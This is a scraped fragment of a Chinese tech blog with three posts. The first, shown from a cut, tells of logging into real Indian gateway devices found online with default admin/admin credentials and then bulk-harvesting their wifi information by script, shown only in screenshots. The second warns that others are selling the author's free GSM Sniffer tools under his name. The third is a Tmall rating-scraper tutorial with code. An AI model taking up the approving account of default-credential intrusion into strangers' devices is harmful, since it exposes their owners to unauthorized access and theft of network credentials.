alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-58-28.379z.png - \u5927\u5c0f: 74.03 KB - \u5c3a\u5bf8: 782 x 502 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"782\" height=\"502\"></a></div>\u800c\u57282014\u5e747\u6708\u7684\u65f6\u5019\u5c31\u5df2\u7ecf\u7206\u51fa\u6b64\u6b3e\u8bbe\u5907\u5b58\u5728\u4e25\u91cd\u7f3a\u9677 http://www.venustech.com.cn/NewsInfo/124/29288.Html<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=495\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/9ad715b0b79513ec8094b95a2a2f2f23.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t06-59-36.083z.png - \u5927\u5c0f: 85.72 KB - \u5c3a\u5bf8: 1114 x 546 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"442\"></a></div>\r\n\r\n<p>\r\n\t\u5728\u6e90\u4ee3\u7801\u91cc\u9762\u627e\u4e86\u534a\u5929\u5e76\u6ca1\u6709\u627e\u5230\u53ef\u80fd\u5b58\u5728\u7684\u5b57\u6bb5\u540d\uff0c\u5e76\u4e14\u6309\u7167\u6f0f\u6d1e\u62a5\u544a\u8fdb\u884c\u767b\u5f55\u7ed5\u8fc7\u4e5f\u5931\u8d25\u4e86\uff0c\u6b64\u65f6\u6211\u987a\u624b\u8bd5\u4e86\u4e00\u4e2aIP\u4f7f\u7528admin/admin\u5c45\u7136\u767b\u5f55\u6210\u529f\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=496\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/900f5e85c90e0bfcaa3546b25d3c8200.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-11-02t07-18-13.201z.png - \u5927\u5c0f: 79.7 KB - \u5c3a\u5bf8: 984 x 645 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"590\"></a></div>\r\n\r\n<p>\r\n\t\u6d4b\u8bd5\u4e86\u5927\u90e8\u5206\u7684\u63a5\u53e3\uff0c\u6ca1\u6709\u53d1\u73b0\u8d8a\u6743\u64cd\u4f5c\u7684\u60c5\u51b5\uff0c\u53ef\u80fd\u6211\u6ca1\u6709\u6d4b\u5b8c\u6574\uff0c\u4f46\u662f\u603b\u89c9\u5f97\u8fd9\u4e2a\u8bbe\u5907\u8fd8\u53ef\u4ee5\u7ee7\u7eed\u6df1\u5165\u7814\u7a76\u4e0b\u3002\r\n</p>\r\n<p>\r\n\t\u5199\u5230\u8fd9\u91cc\uff0c\u535a\u4e3b\u6211\u901a\u5e38\u7684\u5957\u8def\u90fd\u662f\u4e0aPython\u811a\u672c\u4e86\uff0c\u6ca1\u9519\uff0c\u8fd9\u6b21\u4f9d\u7136\u662f\u4e0a\u811a\u672c\u6279\u91cf\u83b7\u53d6wifi\u4fe1\u606f\uff0c\u5982\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=497\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/365364f1e1c4e6239f5f8b541c87dd8a.png\" alt=\"2016-11-02 15-44-34\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 219.27 KB - \u5c3a\u5bf8: 959 x 997 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"866\" height=\"900\"></a></div>\u770b\u770b\uff0c\u8fd9\u4e00\u5806\u7684\u5f31\u53e3\u4ee4\u554a\uff0c\u4f7f\u7528\u5f31\u53e3\u4ee4\u6279\u91cf\u4e00\u4e0b\uff0c\u53c8\u662f\u4e00\u5806\u554a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=498\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201611/b3691475dd9c0f97d495cdca9c0ed213.png\" alt=\"2016-11-02 16-02-15\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 82.13 KB - \u5c3a\u5bf8: 545 x 1012 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"485\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u867d\u7136\u6ca1\u6709\u5b8c\u6574\u7684\u628a\u8fd9\u4e2a\u8bbe\u5907\u641e\u5b9a\uff0c\u4f46\u662f\u8fd8\u662f\u6709\u4e9b\u6536\u8d27\uff0c\u4e0b\u6b21\u7ee7\u7eed\u4ecb\u7ecd\u6765\u81ea\u795e\u5947\u56fd\u5ea6\u5370\u5ea6\u7684\u5176\u4ed6\u51e0\u6b3e\u7f51\u5173\u8bbe\u5907\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23425 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5173\u4e8e\u6709\u4eba\u5192\u5145\u6211\u8fdb\u884c\u8bc8\u9a97\u7684\u8bf4\u660e"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-30, 11:16 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4eca\u5929\u5ffd\u7136\u6709\u4e2aQQ\u597d\u53cb\u53d1\u6d88\u606f\u7ed9\u6211\u8bf4\u6709\u4eba\u5192\u5145\u6211\u7684\u4fe1\u606f\u8fdb\u884c\u8bc8\u9a97\uff0c\u5f88\u662f\u7591\u60d1\uff0c\u4f46\u662f\u4ed4\u7ec6\u60f3\u60f3\u597d\u50cf\u4e5f\u4e0d\u662f\u5565\u5947\u602a\u7684\u4e8b\u3002\r\n</p>\r\n<p>\r\n\t\u5176\u5b9e\u4ece14\u5e74\u6211\u6574\u7406\u516c\u5f00\u4e86\u7b2c\u4e00\u4e2aGSM Sniffer\u7a0b\u5e8f\u5f00\u59cb\uff0c\u5c31\u9646\u9646\u7eed\u7eed\u6709\u4eba\u4ece\u6211\u8fd9\u91cc\u8981\u4e86\u5404\u79cd\u7248\u672c\u7684\u7a0b\u5e8f\uff0c\u5f53\u65f6\u6211\u5f00\u53d1\u8fd9\u4e9b\u7a0b\u5e8f\u7684\u521d\u8877\u662f\u666e\u53caGSM Sniffer\u7684\u76f8\u5173\u77e5\u8bc6\uff0c\u56e0\u4e3a\u5728\u56fd\u5185\u5173\u4e8eGSM Sniffer\u7684\u76f8\u5173\u6587\u7ae0\u6bd4\u8f83\u5c11\uff0c\u56fd\u5916\u8d44\u6599\u51e0\u4e4e\u90fd\u662f\u5168\u82f1\u6587\uff0c\u800c\u4e14\u6574\u4e2a\u7f16\u8bd1\u8fc7\u7a0b\u76f8\u5f53\u7e41\u7410\uff0c\u6211\u5229\u7528\u4e1a\u4f59\u65f6\u95f4\u7ed3\u5408Python\u8bed\u8a00\u6574\u7406\u51fa\u4e86\u4e00\u4efd\u64cd\u4f5c\u76f8\u5bf9\u7b80\u4fbf\u7684\u4ee3\u7801\uff0c\u5e76<strong><span style=\"color:#E53333;\">\u514d\u8d39\u516c\u5f00</span></strong>\u7ed9\u670b\u53cb\u4eec\u4f7f\u7528\uff0c\u671f\u95f4\u4e5f\u53d1\u5e03\u4e86\u51e0\u4e2a\u7248\u672c\u7684\u865a\u62df\u673a\u955c\u50cf\uff0c\u5c01\u88c5\u4e86\u6211\u81ea\u5df1\u7f16\u5199\u7684WEB\u754c\u9762\u3002\r\n</p>\r\n<h3>\r\n\t<span style=\"color:#E53333;\"><strong>\u9700\u8981\u518d\u6b21\u5f3a\u8c03\u7684\u4e00\u70b9\u5c31\u662f\uff0c\u6211\u6240\u53d1\u5e03\u7684\u8fd9\u4e9b\u7a0b\u5e8f\u7684\u6240\u6709</strong></span><span style=\"color:#E53333;\"><strong>\u7248\u672c\u5747\u514d\u8d39\u5f00\u6e90\uff0c\u4ece\u672a\u6536\u8d39\uff01\u800c\u4e14\u63d0\u4f9b\u7684\u6240\u6709\u4f7f\u7528\u65b9\u6cd5\u6587\u5b57\u6559\u7a0b\u3001</strong></span><span style=\"color:#E53333;\"><strong>\u89c6\u9891\u6559\u7a0b\u4e5f\u4ece\u6765\u6ca1\u6709\u6536\u8d39\u8fd9\u4e00\u8bf4\uff0c\u8bf7\u5df2\u7ecf\u8d2d\u4e70\u4e86\u7a0b\u5e8f\u6216\u8005\u6559\u7a0b\u7684\u670b\u53cb\u4eec\u77e5\u6089\uff01</strong></span> \r\n</h3>\r\n<p>\r\n\t\u4ece2015\u5e74\u5f00\u59cb\uff0c\u6211\u5c31\u9646\u9646\u7eed\u7eed\u7684\u6536\u5230\u5404\u79cd\u670b\u53cb\u7684\u6765\u4fe1\uff0c\u8bf4\u82b1\u4e86\u94b1\u8d2d\u4e70\u4e86\u6559\u7a0b\u6216\u8005\u7a0b\u5e8f\u4e4b\u540e\u624d\u53d1\u73b0\u539f\u6765\u8fd9\u4e9b\u4e1c\u897f\u6211\u65e9\u5c31\u514d\u8d39\u53d1\u5e03\u4e86\uff0c\u77e5\u9053\u88ab\u9a97\u7684\u65f6\u5019\u5df2\u7ecf\u665a\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5f88\u65e9\u7684\u65f6\u5019\u6211\u5df2\u7ecf\u77e5\u9053\u6709\u4eba\u62ff\u6211\u516c\u5f00\u7684\u4e1c\u897f\u53bb\u5356\uff0c\u5173\u4e8e\u8fd9\u79cd\u4e8b\u60c5\u6211\u4e5f\u65e0\u80fd\u4e3a\u529b\uff0c\u6211\u514d\u8d39\u53d1\u5e03\u51fa\u53bb\u522b\u4eba\u62ff\u6765\u600e\u4e48\u5356\u5176\u5b9e\u4e0d\u5173\u6211\u7684\u4e8b\uff0c\u4f46\u662f\u5356\u7684\u65f6\u5019\u5c45\u7136\u8fd8\u8981\u5192\u5145\u6211\uff0c\u8fd9\u6211\u5c31\u4e0d\u80fd\u7406\u89e3\u4e86\uff0c\u662f\u6211\u7684\u540d\u58f0\u6bd4\u8f83\u5927\uff1f\r\n</p>\r\n<p>\r\n\t\u4ece2015\u5e74\u81f3\u4eca\uff0c\u5173\u4e8eGSM Sniffer\u7a0b\u5e8f\u7684\u95ee\u9898\uff0c\u901a\u8fc7QQ\u597d\u53cb\u6dfb\u52a0\u6211\u7684\u5c31\u6709200\u591a\u4e2a\u4eba\uff0c\u6211\u5206\u4e0d\u6e05\u54ea\u4e9b\u4eba\u662f\u771f\u5fc3\u6765\u5b66\u4e60\u6280\u672f\u7684\uff0c\u54ea\u4e9b\u4eba\u7eaf\u7cb9\u662f\u4e3a\u4e86\u62ff\u5230\u514d\u8d39\u8f6f\u4ef6\u518d\u53bb\u552e\u5356\u3002\u6240\u4ee5\u6211\u4e4b\u524d\u5c31\u5df2\u7ecf\u53d1\u6587\u8bf4\u660e\u4e86\u6211\u672c\u7740\u5e2e\u52a9\u522b\u4eba\u7684\u6001\u5ea6\u53bb\u516c\u5f00\u8f6f\u4ef6\uff0c\u4f46\u662f\u60c5\u51b5\u5e76\u6ca1\u6709\u597d\u8f6c\uff0c\u53cd\u800c\u8d8a\u6765\u8d8a\u591a\u88ab\u9a97\u7684\u670b\u53cb\u627e\u5230\u6211\uff0c\u6240\u4ee5\u6211\u8bbe\u7f6e\u4e86\u62d2\u7edd\u6dfb\u52a0\u597d\u53cb\uff0c\u5e0c\u671b\u8c05\u89e3\u3002\r\n</p>\r\n<h3>\r\n\t<strong><span style=\"color:#E53333;\">\u672c\u4eba\u6ca1\u6709\u52a0\u5165\u4efb\u4f55\u5173\u4e8eGSM Sniffer\u7684QQ\u7fa4\uff0c\u5fae\u4fe1\u7fa4\uff0c\u8bba\u575b\u7b49\uff0c\u51e1\u662f\u5728\u8fd9\u4e9b\u5730\u65b9\u770b\u5230\u5173\u4e8e\u6211\u53d1\u5e03\u7684\u5404\u79cd\u6536\u8d39\u8d44\u6e90\u90fd\u662f\u9a97\u5b50\u53d1\u5e03\u7684\uff0c\u4e0e\u672c\u4eba\u65e0\u5173\uff01</span></strong><br>\r\n</h3>\r\n<h2>\r\n\t\u63d0\u793a<br>\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u672c\u4ebaQQ\u53f7\uff1a350370228\uff08\u9700\u8981\u6b63\u786e\u56de\u7b54\u95ee\u9898\uff09 \u535a\u5ba2\u5730\u5740\uff1a92ez.com \u6216\u8005 t.tips\uff08\u5907\u7528\uff09 \u90ae\u7bb1\uff1anon3gov@gmail.com \uff0c\u5e0c\u671b\u670b\u53cb\u4eec\u770b\u6e05\u695a\u4e86\uff0c\u4e0d\u8981\u7b49\u5230\u88ab\u9a97\u4ee5\u540e\u518d\u6765\u627e\u6211\u8bc9\u82e6\uff0c\u6211\u5df2\u7ecf\u8bf4\u4e86N\u591a\u904d\u4e86\uff0c\u535a\u4e3b\u6211\u4ece\u6765\u6ca1\u6709\u5356\u8fc7\u4efb\u4f55\u5173\u4e8eGSM Sniffer\u7684\u8f6f\u4ef6\uff0c\u6211\u6240\u53d1\u5e03\u51fa\u53bb\u7684\u811a\u672c\u8f6f\u4ef6\u5168\u90e8\u514d\u8d39\u5f00\u6e90\u3002\r\n</p>\r\n<h2>\r\n\t\u6700\u540e\r\n</h2>\r\n<p>\r\n\t\u6700\u540e\u6211\u60f3\u8bf4\u7684\u662f\uff0c\u670b\u53cb\u4eec\u4e0d\u8981\u76f8\u4fe1\u4efb\u4f55\u5f62\u5f0f\u7684\u622a\u56fe\uff0c\u56fe\u7247\u662f\u53ef\u4ee5\u4fee\u6539\u7684\uff0c\u8bf7\u64e6\u4eae\u773c\u775b\uff0c\u9632\u6b62\u4e0a\u5f53\u53d7\u9a97\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23424 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528flask\u6765\u505a\u4e00\u4e2a\u5c0f\u5e94\u7528"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-30, 10:41 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u4e0a\u5468 @\u840d\u59d0 \r\n\u95ee\u6211\u5982\u4f55\u6293\u53d6\u5929\u732b\u4e0a\u9762\u5e97\u94fa\u7684\u8bc4\u5206\uff0c\u770b\u4e86\u4e0b\u633a\u7b80\u5355\u7684\uff0c\u4e8e\u662f\u82b1\u4e86\u70b9\u65f6\u95f4\u5199\u4e86\u4e2aPython\u811a\u672c\uff0c\u52a0\u4e0aweb.py\u505a\u6210\u4e00\u4e2aweb\u670d\u52a1\uff0c\u4f7f\u7528\u8d77\u6765\u8fd8\u4e0d\u9519\uff0c\u4eca\u5929\u6765\u770b\u7684\u65f6\u5019\u53d1\u73b0\u5f53\u65f6\u4e3a\u4e86\u65b9\u4fbf\u76f4\u63a5\u7528web.py\u5f00\u53d1\u6709\u70b9\u7b80\u964b\uff0c\u81ea\u5df1\u4e5f\u597d\u4e45\u6ca1\u7528flask\u5199\u8fc7\u4e1c\u897f\u4e86\uff0c\u6253\u7b97\u7528flask\u518d\u5199\u4e00\u904d\uff0c\u987a\u4fbf\u590d\u4e60\u4e0b\u65e7\u7684\u77e5\u8bc6\uff0c\u5982\u679c\u4f60\u662fflask\u521d\u5b66\u8005\uff0c\u53ef\u4ee5\u53c2\u8003\u8fd9\u4e2a\u4f8b\u5b50\u3002\r\n</p>\r\n<p>\r\n\t<strong><span style=\"color:#E53333;\">\u63d0\u793a\uff1a</span></strong><strong><span style=\"color:#E53333;\">\u535a\u4e3b\u9ed8\u8ba4\u4f60\u5df2\u7ecf\u5177\u5907\u4e86Python\u7684\u57fa\u7840\u77e5\u8bc6\uff0c\u5df2\u7ecf\u80fd\u591f\u5f88\u987a\u7545\u7684\u7f16\u5199\u4e00\u4e9bPython\u811a\u672c\uff0c</span></strong><strong><span style=\"color:#E53333;\">\u5426\u5219\u63a5\u4e0b\u6765\u4f60\u4f1a\u6bd4\u8f83\u96be\u770b\u61c2\u3002</span></strong> \r\n</p>\r\n<h2>\r\n\t\u65e7\u7248\r\n</h2>\r\n<p>\r\n\t\u8fd9\u91cc\u5148\u7ed9\u51fa\u65e7\u7248\u672c\u7684\u4e00\u4e9b\u4f7f\u7528\u622a\u56fe\uff0c\u521d\u59cb\u5316\u7684\u65f6\u5019\u7684\u6837\u5b50</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=473\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/8a6e234f0dca946ac5c19c4e45fb83c1.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-30t01-27-00.009z.png - \u5927\u5c0f: 14.18 KB - \u5c3a\u5bf8: 529 x 199 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"529\" height=\"199\"></a></div>\u6a21\u7cca\u67e5\u8be2<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=474\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/5bcd04e3dae0463b0eb7e00876d9094e.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-30t01-28-39.825z.png - \u5927\u5c0f: 49.02 KB - \u5c3a\u5bf8: 420 x 648 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"420\" height=\"648\"></a></div>\u7cbe\u786e\u67e5\u8be2<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=475\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/21049579886aa1ca9bfd8fa61423500f.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-30t01-29-34.543z.png - \u5927\u5c0f: 16.66 KB - \u5c3a\u5bf8: 517 x 195 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"517\" height=\"195\"></a></div>\r\n\r\n<h2>\r\n\t\u6280\u672f\r\n</h2>\r\n<p>\r\n\t\u8fd9\u4e2a\u5e94\u7528\u6bd4\u8f83\u7b80\u5355\uff0c\u6240\u4f7f\u7528\u7684\u6280\u672f\u4e5f\u6bd4\u8f83\u5c11\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u6280\u672f\u8981\u70b9\r\n</p>\r\n<ul>\r\n\t<li>\r\n\t\trequests\u6a21\u62df\u8bf7\u6c42\r\n\t</li>\r\n\t<li>\r\n\t\t\u6b63\u5219\u5339\u914d\u5173\u952e\u5b57\r\n\t</li>\r\n\t<li>\r\n\t\tweb.py\u642d\u5efaweb\u73af\u5883\r\n\t</li>\r\n\t<li>\r\n\t\tvue.js\u505a\u6570\u636e\u81ea\u52a8\u7ed1\u5b9a<br>\r\n\t</li>\r\n</ul>\r\n<p>\r\n\t\u662f\u4e0d\u662f\u5f88\u7b80\u5355\uff1f\r\n</p>\r\n<p>\r\n\t\u5728\u8fd9\u4e2a\u5c0f\u5e94\u7528\u4e2d\u4f7f\u7528web.py\u7684\u65f6\u5019\u76ee\u5f55\u7ed3\u6784\u662f\u8fd9\u6837\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=476\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/260dc8fea7d3632db59de87f5b4653c3.png\" alt=\"2016-10-30 09-55-46\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 16.82 KB - \u5c3a\u5bf8: 766 x 107 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"766\" height=\"107\"></a></div>\u5176\u4e2dstatic\u76ee\u5f55\u91cc\u9762\u5b58\u653e\u7684\u662f\u9759\u6001\u8d44\u6e90<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=477\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/bfbd578d9883781d48f75b1ee34f14a1.png\" alt=\"2016-10-30 09-57-18\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 26.57 KB - \u5c3a\u5bf8: 694 x 166 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"694\" height=\"166\"></a></div>\u7ed3\u6784\u76f8\u5f53\u7b80\u5355\r\n\r\n<h3>\r\n\tpython\u4ee3\u7801\r\n</h3>\r\n<p>\r\n\t\u8fd9\u91cc\u7ed9\u51fa\u5168\u90e8\u7684Python\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\nimport requests\r\nimport json\r\nimport web\r\nimport sys\r\nimport re\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\nurls = (\r\n \"/\", \"index\",\r\n \"/query\", \"Query\"\r\n)\r\n\r\n\r\nrender = web.template.render('static', cache=False)\r\n\r\n\r\nclass index:\r\n def GET(self):\r\n return render.index('static')\r\n\r\n\r\nclass Query:\r\n def POST(self):\r\n keywords = str(web.input().get('shopname'))\r\n url_base = \"https://list.tmall.com/search_product.htm?q=\"+keywords\r\n headers = {\"User-Agent\": \"iphone7\"}\r\n\r\n try:\r\n result_base = requests.get(url=url_base, headers=headers, timeout=15).content.replace('\\n', '').replace(' ','')\r\n infostr = re.findall(r'j_shop_moreshop_more\\\">(.+?)</div>', result_base)\r\n shoplist = []\r\n\r\n for item in infostr:\r\n scorelist = re.findall(r'\\\">(.+?)</span><iclass=\\\"', item)\r\n thisShopname = re.findall(r'<span>(.+?)</span>', item)[0]\r\n shoplist.append('{\"shopname\": \"'+ thisShopname +'\" , \"dsr\": \"'+scorelist[0]+'\", \"service\": \"'+scorelist[1].split('\">')[1]+'\",\"ship\": \"'+scorelist[2].split('\">')[1]+'\"}')\r\n\r\n return json.dumps({\"code\": 0, \"rows\":list(set(shoplist))})\r\n except Exception, e:\r\n print e\r\n return json.dumps({\"code\": -1, \"msg\": \"\u6ca1\u67e5\u8be2\u5230\u76f8\u5173\u5e97\u94fa\"})\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = web.application(urls, globals())\r\n app.run()</pre>\r\n<h3>\r\n\t\u524d\u7aefHTML\u4ee3\u7801\r\n</h3>\r\n<pre class=\"brush:html;\">$def with (urlbase)\r\n<!DOCTYPE html>\r\n<html lang=\"zh-CN\">\r\n <head>\r\n <meta charset=\"utf-8\">\r\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n <meta name=\"renderer\" content=\"webkit\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n <title>Hello world</title>\r\n </head>\r\n <body>\r\n <input type=\"text\" name=\"shopname\">\r\n <input type=\"button\" value=\"\u63d0\u4ea4\" @click=\"query\">\r\n <div class=\"info\" v-for=\"item in shopes\" style=\"border-bottom: #ccc 1px dashed\">\r\n <p>\u5e97\u94fa\uff1a{{ item.shopname }}</p>\r\n <p>\u63cf\u8ff0\u76f8\u7b26:{{ item.dsr }}<br>\u670d\u52a1\u6001\u5ea6:{{ item.service }}<br>\u7269\u6d41\u670d\u52a1:{{ item.ship }}</p>\r\n </div>\r\n <script type=\"text/javascript\" src=\"$urlbase/jquery.min.js\"></script>\r\n <script type=\"text/javascript\" src=\"$urlbase/vue.js\"></script>\r\n <script type=\"text/javascript\" src=\"$urlbase/index.js\"></script>\r\n </body>\r\n</html></pre>\r\n<h3>\r\n\tjs\u4ee3\u7801\r\n</h3>\r\n<pre class=\"brush:js;\">var mainVM = new Vue({\r\n el: 'body',\r\n data: {\r\n shopes:[\r\n {\r\n shopname:'\u672a\u67e5\u8be2',\r\n dsr:'\u672a\u67e5\u8be2',\r\n service:'\u672a\u67e5\u8be2',\r\n ship:'\u672a\u67e5\u8be2'\r\n }\r\n ]\r\n },\r\n methods:{\r\n query:function(){\r\n var _self = this,keyword = $('input[name=\"shopname\"]').val();\r\n $.post('/query',{\"shopname\":keyword},function (data) {\r\n if(data.code == 0){\r\n _self.shopes = [];\r\n\r\n for(var k in data.rows){\r\n var thisdata = JSON.parse(data.rows[k]);\r\n _self.shopes.push({\r\n shopname:thisdata.shopname,\r\n dsr:thisdata.dsr,\r\n service:thisdata.service,\r\n ship:thisdata.ship\r\n })\r\n }\r\n }else{\r\n alert('\u67e5\u8be2\u51fa\u9519\uff0c\u9519\u8bef\u4fe1\u606f\uff1a'+data.msg);\r\n }\r\n },\"json\");\r\n }\r\n }\r\n});</pre>\r\n\u53ef\u4ee5\u8bf4\u4ee3\u7801\u90e8\u5206\u4e5f\u662f\u76f8\u5f53\u7b80\u5355\uff0c\u524d\u7aefHTML\u548cjs\u7684\u4ee3\u7801\u5c31\u4e0d\u89e3\u91ca\u4e86\uff0c\u5f88\u5bb9\u6613\u770b\u61c2\uff0c\u8fd9\u91cc\u53ea\u5bf9app.py\u505a\u7b80\u5355\u7684\u89e3\u91ca\u3002\r\n<p>\r\n\t\u89c2\u5bdf\u5929\u732b\u7684\u641c\u7d22\u9875\u9762\uff0c\u53d1\u73b0\u5929\u732bpc\u7aef\u8ddf\u624b\u673a\u7aef\u9875\u9762\u90fd\u53ef\u4ee5\u8f7b\u677e\u6293\u53d6\uff0c\u4f46\u662f\u4f7f\u7528\u624b\u673a\u7aef\u9875\u9762\u4f1a\u66f4\u52a0\u5feb\u901f\u65b9\u4fbf\uff0c\u56e0\u4e3a\u7ed3\u6784\u4e0a\u66f4\u52a0\u6e05\u6670\uff0c\u800c\u4e14\u6570\u636e\u91cf\u5c11\uff0c\u6293\u53d6\u901f\u5ea6\u66f4\u5feb\r\n</p>\r\n<p>\r\n\t\u5982\u4f55\u5b9e\u73b0\u53ea\u6293\u53d6\u624b\u673a\u7aef\u9875\u9762\u7684\u6570\u636e\u5462\uff1f\u5f88\u7b80\u5355\uff0c\u8fd9\u91cc\u6211\u4eec\u53ea\u9700\u8981\u5b9a\u4e49\u4ee5\u4e0bHTTP\u7684\u8bf7\u6c42\u5934\u4fe1\u606f\u5c31\u53ef\u4ee5\u4e86\uff0c\u4e5f\u5c31\u662fheaders\uff0c\u5982\u4e0b\u5b9a\u4e49\r\n</p>\r\n<pre class=\"brush:py;\">headers = {\"User-Agent\": \"iphone7\"}</pre>\r\n\u5929\u732b\u7684\u641c\u7d22\u94fe\u63a5\u662f\u4f7f\u7528\u7684get\u8bf7\u6c42\uff0c\u5730\u5740\u4e3a\r\n<pre 